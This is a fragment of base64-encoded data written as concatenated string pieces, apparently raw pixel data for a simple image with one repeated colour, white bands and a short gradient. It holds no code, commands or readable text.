S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//Lv + 0v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//y79L///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/8u/S//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L//Lv0v////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//y79L///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/5d+l//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/9vSg/////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv//Pv0//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/+Xfpf////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Owlb//Pv0//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/9vSg/////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/39aP//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Yznj/+ffp//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//f1o//9fPd//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Owlb/2M54/9/Wj//l36X/5d+l/+Xfpf/l36X/5d+l/+Xf + pf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xf + pf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xf + pf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xf + pf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+Xfpf/l36X/5d+l/+jjsP/8+/T///////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + 